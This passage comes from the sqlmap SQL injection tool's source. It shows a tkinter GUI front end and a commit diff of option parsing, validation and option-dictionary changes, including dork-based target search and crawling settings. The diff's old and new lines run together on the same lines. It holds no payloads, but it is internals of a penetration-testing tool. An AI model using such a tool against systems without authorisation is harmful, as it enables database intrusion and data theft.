def __init__(self, master=None, **kwargs):
self.var = tkinter.StringVar()
self.regex = kwargs["regex"]
del kwargs["regex"]
tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
self.old_value = ''
self.var.trace('w', self.check)
self.get, self.set = self.var.get, self.var.set
def check(self, *args):
if re.search(self.regex, self.get()):
self.old_value = self.get()
else:
self.set(self.old_value)
# Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
class AutoresizableNotebook(tkinter.ttk.Notebook):
def __init__(self, master=None, **kw):
tkinter.ttk.Notebook.__init__(self, master, **kw)
self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
def _on_tab_changed(self,event):
event.widget.update_idletasks()
tab = event.widget.nametowidget(event.widget.select())
event.widget.configure(height=tab.winfo_reqheight())
window = tkinter.Tk()
window.title(VERSION_STRING)
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
style = tkinter.ttk.Style()
settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
style.theme_create("custom", parent="alt", settings=settings)
style.theme_use("custom")
# Reference: https://stackoverflow.com/a/10018670
def center(window):
window.update_idletasks()
width = window.winfo_width()
frm_width = window.winfo_rootx() - window.winfo_x()
win_width = width + 2 * frm_width
height = window.winfo_height()
titlebar_height = window.winfo_rooty() - window.winfo_y()
win_height = height + titlebar_height + frm_width
x = window.winfo_screenwidth() // 2 - win_width // 2
y = window.winfo_screenheight() // 2 - win_height // 2
window.geometry('{}x{}+{}+{}'.format(width, height, x, y))
window.deiconify()
def onKeyPress(event):
global line
global queue
if process:
if event.char == '\b':
line = line[:-1]
else:
line += event.char
def onReturnPress(event):
global line
global queue
if process:
try:
process.stdin.write(("%s\n" % line.strip()).encode())
process.stdin.flush()
except socket.error:
line = ""
event.widget.master.master.destroy()
return "break"
event.widget.insert(tkinter.END, "\n")
counter = 0
while True:
line = ""
try:
#line = queue.get_nowait()
line = queue.get(timeout=.1)
event.widget.insert(tkinter.END, line)
counter = 0
except _queue.Empty:
event.widget.see(tkinter.END)
event.widget.update_idletasks()
if counter > 3:
break
else:
counter += 1
return "break"
def run():
global process
global queue
ON_POSIX = "posix" in sys.builtin_module_names
def enqueue(stream, queue):
for line in iter(stream.readline, b''):
queue.put(line)
stream.close()
process = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=ON_POSIX)
# Reference: https://stackoverflow.com/a/4896288
queue = _queue.Queue()
thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
thread.daemon = True
thread.start()
options = {}
for key in window._widgets:
dest, type = key
widget = window._widgets[key]
if hasattr(widget, "get") and not widget.get():
value = None
elif type == "string":
value = widget.get()
elif type == "float":
value = float(widget.get())
elif type == "int":
value = int(widget.get())
else:
value = bool(widget.var.get())
options[dest] = value
for option in parser.option_list:
options[option.dest] = defaults.get(option.dest, None)
parser._args = options
top = tkinter.Toplevel()
top.title("Console")
# Reference: https://stackoverflow.com/a/13833338
text = tkinter.scrolledtext.ScrolledText(top, undo=True)
text.bind("<Key>", onKeyPress)
text.bind("<Return>", onReturnPress)
text.pack()
text.focus()
center(top)
menubar = tkinter.Menu(window)
filemenu = tkinter.Menu(menubar, tearoff=0)
filemenu.add_command(label="Open", state=tkinter.DISABLED)
filemenu.add_command(label="Save", state=tkinter.DISABLED)
filemenu.add_separator()
filemenu.add_command(label="Exit", command=window.quit)
menubar.add_cascade(label="File", menu=filemenu)
menubar.add_command(label="Run", command=run)
helpmenu = tkinter.Menu(menubar, tearoff=0)
helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
helpmenu.add_separator()
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2019\n\n (%s)" % DEV_EMAIL_ADDRESS))
menubar.add_cascade(label="Help", menu=helpmenu)
window.config(menu=menubar)
window._widgets = {}
notebook = AutoresizableNotebook(window)
first = None
frames = {}
for group in parser.option_groups:
frame = frames[group.title] = tkinter.Frame(notebook, width=200, height=200)
notebook.add(frames[group.title], text=group.title)
tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W)
row = 1
if group.get_description():
tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=tkinter.W)
tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W)
row += 2
for option in group.option_list:
tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=tkinter.W)
if option.type == "string":
widget = tkinter.Entry(frame)
elif option.type == "float":
widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
elif option.type == "int":
widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
else:
var = tkinter.IntVar()
widget = tkinter.Checkbutton(frame, variable=var)
widget.var = var
first = first or widget
widget.grid(column=1, row=row, sticky=tkinter.W)
window._widgets[(option.dest, option.type)] = widget
default = defaults.get(option.dest)
if default:
if hasattr(widget, "insert"):
widget.insert(0, default)
tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=tkinter.W)
row += 1
tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W)
notebook.pack(expand=1, fill="both")
notebook.enable_traversal()
first.focus()
window.mainloop()
+101 -70
View File
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
from __future__ import division from __future__ import division
import codecs
import functools import functools
import glob import glob
import inspect import inspect
@@ -98,6 +99,7 @@ from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.exception import SqlmapValueException
from lib.core.log import FORMATTER from lib.core.log import FORMATTER
from lib.core.optiondict import optDict from lib.core.optiondict import optDict
from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CODECS_LIST_PAGE
@@ -109,6 +111,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import DUMMY_URL from lib.core.settings import DUMMY_URL
from lib.core.settings import IGNORE_CODE_WILDCARD
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -132,7 +135,6 @@ from lib.core.update import update
from lib.parse.configfile import configFileParser from lib.parse.configfile import configFileParser
from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadBoundaries
from lib.parse.payloads import loadPayloads from lib.parse.payloads import loadPayloads
from lib.parse.sitemap import parseSitemap
from lib.request.basic import checkCharEncoding from lib.request.basic import checkCharEncoding
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
from lib.request.chunkedhandler import ChunkedHandler from lib.request.chunkedhandler import ChunkedHandler
@@ -314,7 +316,7 @@ def _setRequestFromFile():
if url is None: if url is None:
errMsg = "specified file '%s' " % requestFile errMsg = "specified file '%s' " % requestFile
errMsg += "does not contain a valid HTTP request" errMsg += "does not contain a usable HTTP request (with parameters)"
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
if conf.secondReq: if conf.secondReq:
@@ -335,24 +337,12 @@ def _setCrawler():
if not conf.crawlDepth: if not conf.crawlDepth:
return return
if not any((conf.bulkFile, conf.sitemapUrl)): if not conf.bulkFile:
crawl(conf.url) if conf.url:
else: crawl(conf.url)
if conf.bulkFile: elif conf.requestFile and kb.targets:
targets = getFileItems(conf.bulkFile) target = list(kb.targets)[0]
else: crawl(target[0], target[2], target[3])
targets = parseSitemap(conf.sitemapUrl)
for i in xrange(len(targets)):
try:
target = targets[i]
crawl(target)
if conf.verbose in (1, 2):
status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
except Exception as ex:
errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex))
logger.error(errMsg)
def _doSearch(): def _doSearch():
""" """
@@ -390,7 +380,7 @@ def _doSearch():
links = retrieve() links = retrieve()
if kb.targets: if kb.targets:
infoMsg = "sqlmap got %d results for your " % len(links) infoMsg = "found %d results for your " % len(links)
infoMsg += "search dork expression, " infoMsg += "search dork expression, "
if len(links) == len(kb.targets): if len(links) == len(kb.targets):
@@ -403,7 +393,7 @@ def _doSearch():
break break
else: else:
message = "sqlmap got %d results " % len(links) message = "found %d results " % len(links)
message += "for your search dork expression, but none of them " message += "for your search dork expression, but none of them "
message += "have GET parameters to test for SQL injection. " message += "have GET parameters to test for SQL injection. "
message += "Do you want to skip to the next result page? [Y/n]" message += "Do you want to skip to the next result page? [Y/n]"
@@ -437,23 +427,6 @@ def _setBulkMultipleTargets():
warnMsg = "no usable links found (with GET parameters)" warnMsg = "no usable links found (with GET parameters)"
logger.warn(warnMsg) logger.warn(warnMsg)
def _setSitemapTargets():
if not conf.sitemapUrl:
return
infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl
logger.info(infoMsg)
found = False
for item in parseSitemap(conf.sitemapUrl):
if re.match(r"[^ ]+\?(.+)", item, re.I):
found = True
kb.targets.add((item.strip(), None, None, None, None))
if not found and not conf.forms and not conf.crawlDepth:
warnMsg = "no usable links found (with GET parameters)"
logger.warn(warnMsg)
def _findPageForms(): def _findPageForms():
if not conf.forms or conf.crawlDepth: if not conf.forms or conf.crawlDepth:
return return
@@ -465,21 +438,26 @@ def _findPageForms():
infoMsg = "searching for forms" infoMsg = "searching for forms"
logger.info(infoMsg) logger.info(infoMsg)
if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): if not any((conf.bulkFile, conf.googleDork)):
page, _, _ = Request.queryPage(content=True) page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True)
if findPageForms(page, conf.url, True, True): if findPageForms(page, conf.url, True, True):
found = True found = True
else: else:
if conf.bulkFile: if conf.bulkFile:
targets = getFileItems(conf.bulkFile) targets = getFileItems(conf.bulkFile)
elif conf.sitemapUrl:
targets = parseSitemap(conf.sitemapUrl)
elif conf.googleDork: elif conf.googleDork:
targets = [_[0] for _ in kb.targets] targets = [_[0] for _ in kb.targets]
kb.targets.clear() kb.targets.clear()
else:
targets = []
for i in xrange(len(targets)): for i in xrange(len(targets)):
try: try:
target = targets[i] target = targets[i].strip()
if not re.search(r"(?i)\Ahttp[s]*://", target):
target = "http://%s" % target
page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False) page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
if findPageForms(page, target, False, True): if findPageForms(page, target, False, True):
found = True found = True
@@ -1154,11 +1132,11 @@ def _setSafeVisit():
errMsg = "invalid format of a safe request file" errMsg = "invalid format of a safe request file"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
else: else:
if not re.search(r"\Ahttp[s]*://", conf.safeUrl): if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl):
if ":443/" in conf.safeUrl: if ":443/" in conf.safeUrl:
conf.safeUrl = "https://" + conf.safeUrl conf.safeUrl = "https://%s" % conf.safeUrl
else: else:
conf.safeUrl = "http://" + conf.safeUrl conf.safeUrl = "http://%s" % conf.safeUrl
if (conf.safeFreq or 0) <= 0: if (conf.safeFreq or 0) <= 0:
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
@@ -1223,7 +1201,7 @@ def _setHTTPAuthentication():
elif not conf.authType and conf.authCred: elif not conf.authType and conf.authCred:
errMsg = "you specified the HTTP authentication credentials, " errMsg = "you specified the HTTP authentication credentials, "
errMsg += "but did not provide the type" errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
@@ -1273,8 +1251,8 @@ def _setHTTPAuthentication():
from ntlm import HTTPNtlmAuthHandler from ntlm import HTTPNtlmAuthHandler
except ImportError: except ImportError:
errMsg = "sqlmap requires Python NTLM third-party library " errMsg = "sqlmap requires Python NTLM third-party library "
errMsg += "in order to authenticate via NTLM, " errMsg += "in order to authenticate via NTLM. Download from "
errMsg += "https://github.com/mullender/python-ntlm" errMsg += "'https://github.com/mullender/python-ntlm'"
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1302,6 +1280,9 @@ def _setHTTPExtraHeaders():
if header and value: if header and value:
conf.httpHeaders.append((header, value)) conf.httpHeaders.append((header, value))
elif headerValue.startswith('@'):
checkFile(headerValue[1:])
kb.headersFile = headerValue[1:]
else: else:
errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -1439,7 +1420,10 @@ def _setHTTPTimeout():
else: else:
conf.timeout = 30.0 conf.timeout = 30.0
socket.setdefaulttimeout(conf.timeout) try:
socket.setdefaulttimeout(conf.timeout)
except OverflowError as ex:
raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex))
def _checkDependencies(): def _checkDependencies():
""" """
@@ -1541,6 +1525,13 @@ def _cleanupOptions():
Cleanup configuration attributes. Cleanup configuration attributes.
""" """
if conf.encoding:
try:
codecs.lookup(conf.encoding)
except LookupError:
errMsg = "unknown encoding '%s'" % conf.encoding
raise SqlmapValueException(errMsg)
debugMsg = "cleaning up configuration parameters" debugMsg = "cleaning up configuration parameters"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -1562,11 +1553,14 @@ def _cleanupOptions():
conf.testParameter = [] conf.testParameter = []
if conf.ignoreCode: if conf.ignoreCode:
try: if conf.ignoreCode == IGNORE_CODE_WILDCARD:
conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] conf.ignoreCode = xrange(0, 1000)
except ValueError: else:
errMsg = "options '--ignore-code' should contain a list of integer values" try:
raise SqlmapSyntaxException(errMsg) conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
except ValueError:
errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
raise SqlmapSyntaxException(errMsg)
else: else:
conf.ignoreCode = [] conf.ignoreCode = []
@@ -1634,16 +1628,13 @@ def _cleanupOptions():
if conf.fileDest: if conf.fileDest:
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest)) conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
if conf.msfPath: if conf.msfPath:
conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath))
if conf.tmpPath: if conf.tmpPath:
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)): if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth)):
conf.multipleTargets = True conf.multipleTargets = True
if conf.optimize: if conf.optimize:
@@ -1751,10 +1742,22 @@ def _cleanupOptions():
conf.col = re.sub(r"\s*,\s*", ',', conf.col) conf.col = re.sub(r"\s*,\s*", ',', conf.col)
if conf.exclude: if conf.exclude:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) regex = False
if any(_ in conf.exclude for _ in ('+', '*')):
try:
re.compile(conf.exclude)
except re.error:
pass
else:
regex = True
if not regex:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
if conf.binaryFields: if conf.binaryFields:
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields) conf.binaryFields = conf.binaryFields.replace(" ", "")
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
if any((conf.proxy, conf.proxyFile, conf.tor)): if any((conf.proxy, conf.proxyFile, conf.tor)):
conf.disablePrecon = True conf.disablePrecon = True
@@ -1814,7 +1817,6 @@ def _setConfAttributes():
conf.path = None conf.path = None
conf.port = None conf.port = None
conf.proxyList = None conf.proxyList = None
conf.resultsFilename = None
conf.resultsFP = None conf.resultsFP = None
conf.scheme = None conf.scheme = None
conf.tests = [] conf.tests = []
@@ -1882,6 +1884,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.dep = None kb.dep = None
kb.disableHtmlDecoding = False
kb.dnsMode = False kb.dnsMode = False
kb.dnsTest = None kb.dnsTest = None
kb.docRoot = None kb.docRoot = None
@@ -1905,6 +1908,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forceWhere = None kb.forceWhere = None
kb.futileUnion = None kb.futileUnion = None
kb.heavilyDynamic = False kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {} kb.headersFp = {}
kb.heuristicDbms = None kb.heuristicDbms = None
kb.heuristicExtendedDbms = None kb.heuristicExtendedDbms = None
@@ -1923,14 +1927,16 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.injections = [] kb.injections = []
kb.laggingChecked = False kb.laggingChecked = False
kb.lastParserStatus = None kb.lastParserStatus = None
kb.lastCtrlCTime = None
kb.locks = AttribDict() kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "index", "io", "limit", "log", "socket", "redirect", "request", "value"): for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
kb.locks[_] = threading.Lock() kb.locks[_] = threading.Lock()
kb.matchRatio = None kb.matchRatio = None
kb.maxConnectionsFlag = False kb.maxConnectionsFlag = False
kb.mergeCookies = None kb.mergeCookies = None
kb.multipleCtrlC = False
kb.negativeLogic = False kb.negativeLogic = False
kb.nullConnection = None kb.nullConnection = None
kb.oldMsf = None kb.oldMsf = None
@@ -1985,7 +1991,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.reduceTests = None kb.reduceTests = None
kb.tlsSNI = {} kb.tlsSNI = {}
kb.stickyDBMS = False kb.stickyDBMS = False
kb.storeCrawlingChoice = None
kb.storeHashesChoice = None kb.storeHashesChoice = None
kb.suppressResumeInfo = False kb.suppressResumeInfo = False
kb.tableFrom = None kb.tableFrom = None
@@ -1999,16 +2004,21 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.threadException = False kb.threadException = False
kb.tableExistsChoice = None kb.tableExistsChoice = None
kb.uChar = NULL kb.uChar = NULL
kb.udfFail = False
kb.unionDuplicates = False kb.unionDuplicates = False
kb.webSocketRecvCount = None
kb.wizardMode = False kb.wizardMode = False
kb.xpCmdshellAvailable = False kb.xpCmdshellAvailable = False
if flushAll: if flushAll:
kb.checkSitemap = None
kb.headerPaths = {} kb.headerPaths = {}
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.normalizeCrawlingChoice = None
kb.passwordMgr = None kb.passwordMgr = None
kb.preprocessFunctions = [] kb.preprocessFunctions = []
kb.skipVulnHost = None kb.skipVulnHost = None
kb.storeCrawlingChoice = None
kb.tamperFunctions = [] kb.tamperFunctions = []
kb.targets = OrderedSet() kb.targets = OrderedSet()
kb.testedParams = set() kb.testedParams = set()
@@ -2197,6 +2207,13 @@ def _mergeOptions(inputOptions, overrideOptions):
if hasattr(conf, key) and conf[key] is None: if hasattr(conf, key) and conf[key] is None:
conf[key] = value conf[key] = value
if conf.unstable:
if key in ("timeSec", "retries", "timeout"):
conf[key] *= 2
if conf.unstable:
conf.forcePartial = True
lut = {} lut = {}
for group in optDict.keys(): for group in optDict.keys():
lut.update((_.upper(), _) for _ in optDict[group]) lut.update((_.upper(), _) for _ in optDict[group])
@@ -2442,6 +2459,13 @@ def _basicOptionValidation():
errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.paramExclude:
try:
re.compile(conf.paramExclude)
except Exception as ex:
errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg)
if conf.crawlExclude: if conf.crawlExclude:
try: try:
re.compile(conf.crawlExclude) re.compile(conf.crawlExclude)
@@ -2461,8 +2485,8 @@ def _basicOptionValidation():
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.crawlExclude and not conf.crawlDepth: if conf.crawlExclude and not conf.crawlDepth:
@@ -2485,6 +2509,10 @@ def _basicOptionValidation():
errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" errMsg = "option '--csrf-url' requires usage of option '--csrf-token'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.csrfMethod and not conf.csrfToken:
errMsg = "option '--csrf-method' requires usage of option '--csrf-token'"
raise SqlmapSyntaxException(errMsg)
if conf.csrfToken and conf.threads > 1: if conf.csrfToken and conf.threads > 1:
errMsg = "option '--csrf-url' is incompatible with option '--threads'" errMsg = "option '--csrf-url' is incompatible with option '--threads'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -2551,6 +2579,10 @@ def _basicOptionValidation():
errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.alert and conf.alert.startswith('-'):
errMsg = "value for option '--alert' must be valid operating system command(s)"
raise SqlmapSyntaxException(errMsg)
if conf.timeSec < 1: if conf.timeSec < 1:
errMsg = "value for option '--time-sec' must be a positive integer" errMsg = "value for option '--time-sec' must be a positive integer"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -2559,7 +2591,7 @@ def _basicOptionValidation():
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)): if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
errMsg = "option '--crack' should be used as a standalone" errMsg = "option '--crack' should be used as a standalone"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -2626,7 +2658,7 @@ def init():
parseTargetDirect() parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
_setHostname() _setHostname()
_setHTTPTimeout() _setHTTPTimeout()
_setHTTPExtraHeaders() _setHTTPExtraHeaders()
@@ -2641,7 +2673,6 @@ def init():
_setSafeVisit() _setSafeVisit()
_doSearch() _doSearch()
_setBulkMultipleTargets() _setBulkMultipleTargets()
_setSitemapTargets()
_checkTor() _checkTor()
_setCrawler() _setCrawler()
_findPageForms() _findPageForms()
+11 -9
View File
@@ -19,7 +19,6 @@ optDict = {
"sessionFile": "string", "sessionFile": "string",
"googleDork": "string", "googleDork": "string",
"configFile": "string", "configFile": "string",
"sitemapUrl": "string",
}, },
"Request": { "Request": {
@@ -31,6 +30,7 @@ optDict = {
"loadCookies": "string", "loadCookies": "string",
"dropSetCookie": "boolean", "dropSetCookie": "boolean",
"agent": "string", "agent": "string",
"mobile": "boolean",
"randomAgent": "boolean", "randomAgent": "boolean",
"host": "string", "host": "string",
"referer": "string", "referer": "string",
@@ -60,6 +60,7 @@ optDict = {
"skipUrlEncode": "boolean", "skipUrlEncode": "boolean",
"csrfToken": "string", "csrfToken": "string",
"csrfUrl": "string", "csrfUrl": "string",
"csrfMethod": "string",
"forceSSL": "boolean", "forceSSL": "boolean",
"chunked": "boolean", "chunked": "boolean",
"hpp": "boolean", "hpp": "boolean",
@@ -100,6 +101,7 @@ optDict = {
"notString": "string", "notString": "string",
"regexp": "string", "regexp": "string",
"code": "integer", "code": "integer",
"smart": "boolean",
"textOnly": "boolean", "textOnly": "boolean",
"titles": "boolean", "titles": "boolean",
}, },
@@ -197,10 +199,12 @@ optDict = {
"General": { "General": {
"trafficFile": "string", "trafficFile": "string",
"answers": "string",
"batch": "boolean", "batch": "boolean",
"binaryFields": "string", "binaryFields": "string",
"charset": "string", "charset": "string",
"checkInternet": "boolean", "checkInternet": "boolean",
"cleanup": "boolean",
"crawlDepth": "integer", "crawlDepth": "integer",
"crawlExclude": "string", "crawlExclude": "string",
"csvDel": "string", "csvDel": "string",
@@ -210,6 +214,7 @@ optDict = {
"flushSession": "boolean", "flushSession": "boolean",
"forms": "boolean", "forms": "boolean",
"freshQueries": "boolean", "freshQueries": "boolean",
"googlePage": "integer",
"harFile": "string", "harFile": "string",
"hexConvert": "boolean", "hexConvert": "boolean",
"outputDir": "string", "outputDir": "string",
@@ -218,27 +223,24 @@ optDict = {
"repair": "boolean", "repair": "boolean",
"saveConfig": "string", "saveConfig": "string",
"scope": "string", "scope": "string",
"skipWaf": "boolean",
"testFilter": "string", "testFilter": "string",
"testSkip": "string", "testSkip": "string",
"updateAll": "boolean", "webRoot": "string",
}, },
"Miscellaneous": { "Miscellaneous": {
"alert": "string", "alert": "string",
"answers": "string",
"beep": "boolean", "beep": "boolean",
"cleanup": "boolean",
"dependencies": "boolean", "dependencies": "boolean",
"disableColoring": "boolean", "disableColoring": "boolean",
"googlePage": "integer",
"listTampers": "boolean", "listTampers": "boolean",
"mobile": "boolean",
"offline": "boolean", "offline": "boolean",
"purge": "boolean", "purge": "boolean",
"skipWaf": "boolean", "resultsFile": "string",
"smart": "boolean",
"tmpDir": "string", "tmpDir": "string",
"webRoot": "string", "unstable": "boolean",
"updateAll": "boolean",
"wizard": "boolean", "wizard": "boolean",
"verbose": "integer", "verbose": "integer",
}, },
+2
View File
@@ -20,6 +20,7 @@ import thirdparty.chardet.universaldetector
from lib.core.common import filterNone from lib.core.common import filterNone
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import isDigit
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import shellExec from lib.core.common import shellExec
@@ -62,6 +63,7 @@ def resolveCrossReferences():
Place for cross-reference resolution Place for cross-reference resolution
""" """
lib.core.threads.isDigit = isDigit
lib.core.threads.readInput = readInput lib.core.threads.readInput = readInput
lib.core.common.getPageTemplate = getPageTemplate lib.core.common.getPageTemplate = getPageTemplate
lib.core.convert.filterNone = filterNone lib.core.convert.filterNone = filterNone
+1 -1
View File
